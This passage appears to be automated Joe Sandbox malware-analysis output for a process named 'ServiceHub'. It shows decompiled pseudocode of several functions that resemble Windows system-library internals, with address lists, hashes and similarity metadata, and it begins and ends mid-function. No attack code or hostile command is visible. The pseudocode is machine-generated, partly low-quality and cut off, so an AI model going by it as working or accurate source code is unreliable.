												_push( *((intOrPtr*)(_t99 + 0x24)));
												E011EAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x129b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x12984c0;
																			if(_t82 >=  *0x12984c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E01279063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E011A922A(_t99);
										_t64 = E011C7D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E01278B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x12986c0; // 0xd407b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x12986b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x12986bc;
													_t87 = 0x12986b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E011A9240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x12986c4;
												_t87 = 0x12986c0;
												L27:
												E011D9B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E011FD130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x1295388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x129538c = _t51;
						goto L6;
					}
				}
			}




















                                          0x011a9082
                                          0x011a9083
                                          0x011a9084
                                          0x011a9085
                                          0x011a9087
                                          0x011a9096
                                          0x011a9098
                                          0x011a9098
                                          0x011a909e
                                          0x011a90a8
                                          0x011a90e7
                                          0x011a90e7
                                          0x011a90aa
                                          0x011a90b0
                                          0x011a90b7
                                          0x011a90bd
                                          0x011a90dd
                                          0x011a90e6
                                          0x011a90bf
                                          0x011a90bf
                                          0x011a90c7
                                          0x011a90cf
                                          0x011a90f1
                                          0x011a90f2
                                          0x011a90f4
                                          0x011a90f5
                                          0x011a90f6
                                          0x011a90f7
                                          0x011a90f8
                                          0x011a90f9
                                          0x011a90fa
                                          0x011a90fb
                                          0x011a90fc
                                          0x011a90fd
                                          0x011a90fe
                                          0x011a90ff
                                          0x011a9100
                                          0x011a9102
                                          0x011a9107
                                          0x011a910c
                                          0x011a9110
                                          0x011a9113
                                          0x011a9115
                                          0x011a9136
                                          0x011a913f
                                          0x011a9143
                                          0x012037e4
                                          0x012037e4
                                          0x011a9117
                                          0x011a9117
                                          0x011a911d
                                          0x00000000
                                          0x011a911f
                                          0x011a911f
                                          0x011a9125
                                          0x00000000
                                          0x011a9127
                                          0x011a912d
                                          0x011a9130
                                          0x011a9134
                                          0x011a9158
                                          0x011a915d
                                          0x011a9161
                                          0x011a9168
                                          0x01203715
                                          0x011a916e
                                          0x011a916e
                                          0x011a9175
                                          0x011a9177
                                          0x011a917e
                                          0x011a917f
                                          0x011a9182
                                          0x011a9182
                                          0x011a9187
                                          0x011a9187
                                          0x011a918a
                                          0x011a918d
                                          0x011a918f
                                          0x011a9192
                                          0x011a9195
                                          0x011a9198
                                          0x011a9198
                                          0x011a9198
                                          0x011a919a
                                          0x00000000
                                          0x00000000
                                          0x0120371f
                                          0x01203721
                                          0x01203727
                                          0x0120372f
                                          0x01203733
                                          0x01203735
                                          0x01203738
                                          0x0120373b
                                          0x0120373d
                                          0x01203740
                                          0x00000000
                                          0x01203746
                                          0x01203746
                                          0x01203749
                                          0x00000000
                                          0x0120374f
                                          0x0120374f
                                          0x01203751
                                          0x01203757
                                          0x01203759
                                          0x0120375c
                                          0x0120375c
                                          0x0120375e
                                          0x0120375e
                                          0x01203761
                                          0x01203764
                                          0x00000000
                                          0x00000000
                                          0x01203766
                                          0x01203768
                                          0x012037a3
                                          0x012037a3
                                          0x012037a5
                                          0x012037a7
                                          0x012037ad
                                          0x012037b0
                                          0x012037b2
                                          0x012037bc
                                          0x012037c2
                                          0x012037c2
                                          0x012037b2
                                          0x011a9187
                                          0x011a9187
                                          0x011a918a
                                          0x011a918d
                                          0x011a918f
                                          0x011a9192
                                          0x011a9195
                                          0x00000000
                                          0x011a9195
                                          0x00000000
                                          0x0120376a
                                          0x0120376a
                                          0x0120376a
                                          0x0120376c
                                          0x0120376c
                                          0x0120376f
                                          0x01203775
                                          0x00000000
                                          0x00000000
                                          0x01203777
                                          0x01203779
                                          0x01203782
                                          0x01203787
                                          0x01203789
                                          0x01203790
                                          0x01203790
                                          0x0120378b
                                          0x0120378b
                                          0x0120378b
                                          0x01203792
                                          0x01203795
                                          0x00000000
                                          0x01203795
                                          0x00000000
                                          0x01203779
                                          0x01203798
                                          0x00000000
                                          0x01203798
                                          0x00000000
                                          0x01203768
                                          0x0120379b
                                          0x0120379b
                                          0x01203751
                                          0x01203749
                                          0x00000000
                                          0x01203740
                                          0x011a91a0
                                          0x011a91a3
                                          0x011a91a9
                                          0x011a91b0
                                          0x00000000
                                          0x011a91b0
                                          0x011a9187
                                          0x011a91b4
                                          0x011a91b4
                                          0x011a91bb
                                          0x011a91c0
                                          0x011a91c5
                                          0x011a91c7
                                          0x012037da
                                          0x011a91cd
                                          0x011a91cd
                                          0x011a91cd
                                          0x011a91d2
                                          0x011a91d5
                                          0x011a9239
                                          0x011a9239
                                          0x011a91d7
                                          0x011a91db
                                          0x011a91e1
                                          0x011a91e7
                                          0x011a91fd
                                          0x011a9203
                                          0x011a921e
                                          0x011a9223
                                          0x00000000
                                          0x011a9205
                                          0x011a9205
                                          0x011a9208
                                          0x011a920c
                                          0x011a9214
                                          0x011a9214
                                          0x011a920c
                                          0x011a91e9
                                          0x011a91e9
                                          0x011a91ee
                                          0x011a91f3
                                          0x011a91f3
                                          0x011a91f3
                                          0x011a91e7
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011a9134
                                          0x011a9125
                                          0x011a911d
                                          0x011a914e
                                          0x011a90d1
                                          0x011a90d1
                                          0x011a90d3
                                          0x011a90d6
                                          0x011a90d8
                                          0x00000000
                                          0x011a90d8
                                          0x011a90cf

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8fa16f6a2dfb4daa2cc79c60dd4a6022954a6118de56befcb635a992199d16e6
                                          • Instruction ID: 9f2daec7aecb6aa939ada0f68100ca27d75f3cd286c740dde4bb4685de9f8c55
                                          • Opcode Fuzzy Hash: 8fa16f6a2dfb4daa2cc79c60dd4a6022954a6118de56befcb635a992199d16e6
                                          • Instruction Fuzzy Hash: D601F4B26012088FC32E8F1CD980B11BFA9EB41368F254026E201CB692C374DC81CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0123C450 Relevance: .1, Instructions: 53COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 46%
                                          			E0123C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E011E9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E011E95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E011E95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E011E95D0();
				return L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}






                                          0x0123c458
                                          0x0123c45d
                                          0x0123c466
                                          0x0123c468
                                          0x0123c469
                                          0x0123c46a
                                          0x0123c46b
                                          0x0123c46e
                                          0x0123c46f
                                          0x0123c471
                                          0x0123c476
                                          0x0123c476
                                          0x0123c47c
                                          0x0123c47e
                                          0x0123c480
                                          0x0123c480
                                          0x0123c483
                                          0x0123c484
                                          0x0123c486
                                          0x0123c488
                                          0x0123c48f
                                          0x0123c491
                                          0x0123c493
                                          0x0123c493
                                          0x0123c48f
                                          0x0123c498
                                          0x0123c49e
                                          0x0123c4ad
                                          0x0123c4ad
                                          0x0123c4b2
                                          0x0123c4b4
                                          0x0123c4cd

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                          • Instruction ID: cb3013ffce959923192c9d1541e0171da04a314fd6c203ea6b6d26b806aa5fc7
                                          • Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
                                          • Instruction Fuzzy Hash: 6B0196B2140A0ABFE725AF69CC84E62FB7DFFA4758F004526F35452560D721ECA1CAA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01274015 Relevance: .0, Instructions: 49COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 86%
                                          			E01274015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E011C2280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E011C2280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x12986ac);
					E011AF900(0x12986d4, _t28);
					E011BFFB0(0x12986ac, _t28, 0x12986ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E011BFFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}







                                          0x0127401a
                                          0x0127401e
                                          0x01274023
                                          0x01274028
                                          0x01274029
                                          0x0127402b
                                          0x0127402f
                                          0x01274043
                                          0x01274046
                                          0x01274051
                                          0x01274057
                                          0x0127405f
                                          0x01274062
                                          0x01274067
                                          0x0127406f
                                          0x0127407c
                                          0x0127407c
                                          0x0127408c
                                          0x0127408c
                                          0x01274097

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e29bd4f64ee6e7d452badfe2c667067431e2ee5b90ee12236785322e836a4fa0
                                          • Instruction ID: 3416c8a2f205086455a1dd1ce9e424fac319dde24b34bc430abf01a7de6c5402
                                          • Opcode Fuzzy Hash: e29bd4f64ee6e7d452badfe2c667067431e2ee5b90ee12236785322e836a4fa0
                                          • Instruction Fuzzy Hash: 1101D472201A4A7FC719AB6DCD84E17B7ACFF65A64B000229F50887A11DB74EC11CAE0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126138A Relevance: .0, Instructions: 48COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 61%
                                          			E0126138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x129d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E011EFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E011C7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

















                                          0x0126138a
                                          0x0126138a
                                          0x01261399
                                          0x012613a3
                                          0x012613a8
                                          0x012613aa
                                          0x012613b5
                                          0x012613bb
                                          0x012613c3
                                          0x012613c6
                                          0x012613c9
                                          0x012613d4
                                          0x012613e6
                                          0x012613d6
                                          0x012613df
                                          0x012613df
                                          0x012613f1
                                          0x012613f2
                                          0x012613f4
                                          0x012613f9
                                          0x0126140e

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3ed99135a56f90d216c1ff74b0a89e6ed6a1a03004b8181a6a0643b03760ccaa
                                          • Instruction ID: 62c276366af527e8c2cdc0f39e6ffb4ab99ae269c0e2e2f0e15bef3c172de07a
                                          • Opcode Fuzzy Hash: 3ed99135a56f90d216c1ff74b0a89e6ed6a1a03004b8181a6a0643b03760ccaa
                                          • Instruction Fuzzy Hash: BC019271A0020DAFCB14DFA8D846EAEBBB8EF84700F004056F901EB280D7749A51CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012614FB Relevance: .0, Instructions: 48COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 61%
                                          			E012614FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x129d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E011EFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E011C7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

















                                          0x012614fb
                                          0x012614fb
                                          0x0126150a
                                          0x01261514
                                          0x01261519
                                          0x0126151b
                                          0x01261526
                                          0x0126152c
                                          0x01261534
                                          0x01261537
                                          0x0126153a
                                          0x01261545
                                          0x01261557
                                          0x01261547
                                          0x01261550
                                          0x01261550
                                          0x01261562
                                          0x01261563
                                          0x01261565
                                          0x0126156a
                                          0x0126157f

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8e5c57ea028f979d4b7493401d7433733161c3340b08844e9e9785c017de23d9
                                          • Instruction ID: a1fc47b22d808d050764ea9e01b1de178abe7c9ff3d86314061666b53243472c
                                          • Opcode Fuzzy Hash: 8e5c57ea028f979d4b7493401d7433733161c3340b08844e9e9785c017de23d9
                                          • Instruction Fuzzy Hash: 41019271A0024DAFCB14DFA8D846EAEBBB8EF84704F404056F905EB280D774DA40CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A58EC Relevance: .0, Instructions: 47COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 91%
                                          			E011A58EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x129d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x1185c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E011A5943() != 0 &&  *0x1295320 > 5) {
					E01227B5E( &_v44, _t27);
					_t22 =  &_v28;
					E01227B5E( &_v28, _t28);
					_t11 = E01227B9C(0x1295320, 0x118bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E011EB640(_t11, _t17, _v8 ^ _t29, 0x118bf15, _t27, _t28);
			}















                                          0x011a58fb
                                          0x011a58fe
                                          0x011a5906
                                          0x011a590a
                                          0x011a593c
                                          0x011a593c
                                          0x011a590c
                                          0x011a590c
                                          0x011a5911
                                          0x00000000
                                          0x011a5913
                                          0x011a5913
                                          0x011a5913
                                          0x011a5911
                                          0x011a591d
                                          0x01201035
                                          0x0120103c
                                          0x0120103f
                                          0x01201056
                                          0x01201056
                                          0x011a593b

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: be9800d8dfe1f236a0bacae93c2c285099b464ff010c5ca1a6aba05005db093c
                                          • Instruction ID: 06dafbe51591aea2218dd816d247c4015d702bb62d0a42d19fc7f5866501294e
                                          • Opcode Fuzzy Hash: be9800d8dfe1f236a0bacae93c2c285099b464ff010c5ca1a6aba05005db093c
                                          • Instruction Fuzzy Hash: F701F235B18509EBCB5CEB68D8049BE7BAEEF51230F854069EA05AB245FF30DD01CB95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011BB02A Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011BB02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E011C7D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E01227016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}







                                          0x011bb037
                                          0x011bb039
                                          0x011bb03b
                                          0x011bb040
                                          0x0120a60e
                                          0x00000000
                                          0x00000000
                                          0x0120a61d
                                          0x011bb04b
                                          0x011bb04e
                                          0x0120a627
                                          0x0120a634
                                          0x00000000
                                          0x00000000
                                          0x0120a641
                                          0x0120a653
                                          0x0120a643
                                          0x0120a64c
                                          0x0120a64c
                                          0x0120a65b
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0120a66c
                                          0x011bb057
                                          0x011bb057
                                          0x011bb057
                                          0x011bb046
                                          0x011bb046
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                          • Instruction ID: 40718e9646234e1ec978b635cb0f669bd7efba4d6c842e55eacd0bb4d806780f
                                          • Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                          • Instruction Fuzzy Hash: 8C018472214A809FE72B875CC9C4FB67BF8EB95750F0900A1FA15CBA92D768DC40C625
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01271074 Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E01271074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E0127165E(__ebx, 0x1298ae4, (__edx -  *0x1298b04 >> 0x14) + (__edx -  *0x1298b04 >> 0x14), __edi, __ecx, (__edx -  *0x1298b04 >> 0x14) + (__edx -  *0x1298b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E0126AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E011C7D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0125FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}











                                          0x01271074
                                          0x01271080
                                          0x01271082
                                          0x0127108a
                                          0x0127108f
                                          0x01271093
                                          0x012710ab
                                          0x012710ab
                                          0x012710c3
                                          0x012710cf
                                          0x012710e1
                                          0x012710d1
                                          0x012710da
                                          0x012710da
                                          0x012710e9
                                          0x012710f5
                                          0x012710f5
                                          0x012710fe

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: aa6963647deed6a9b33695dc1798c6ebbfbc8681053535b523b8434e66e6acc0
                                          • Instruction ID: 408ca3cccae71c2b8600a2841622503b458ab61ae9fd06584d154ffa04dce633
                                          • Opcode Fuzzy Hash: aa6963647deed6a9b33695dc1798c6ebbfbc8681053535b523b8434e66e6acc0
                                          • Instruction Fuzzy Hash: 760128726247469FC711EF28C944B2B7BD9BF94210F048519FD85932D0EE70D454CB92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0125FE3F Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 59%
                                          			E0125FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x129d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E011EFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E011C7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                          0x0125fe3f
                                          0x0125fe3f
                                          0x0125fe4e
                                          0x0125fe58
                                          0x0125fe5d
                                          0x0125fe5f
                                          0x0125fe6a
                                          0x0125fe72
                                          0x0125fe75
                                          0x0125fe78
                                          0x0125fe83
                                          0x0125fe95
                                          0x0125fe85
                                          0x0125fe8e
                                          0x0125fe8e
                                          0x0125fea0
                                          0x0125fea1
                                          0x0125fea3
                                          0x0125fea8
                                          0x0125febd

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: deaff8e5c2e5f853f8f64369b94f406acb5c5387e53513452469338394db4926
                                          • Instruction ID: 8115c2a31471221c882657a1b03505baa806291acb4c4c7eafa3d58a46acbdac
                                          • Opcode Fuzzy Hash: deaff8e5c2e5f853f8f64369b94f406acb5c5387e53513452469338394db4926
                                          • Instruction Fuzzy Hash: AA018871E1020DABDB14DFA9D946FAEB7B8EF94704F004066FD009B281DA749901CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0125FEC0 Relevance: .0, Instructions: 46COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 59%
                                          			E0125FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x129d360 ^ _t32;
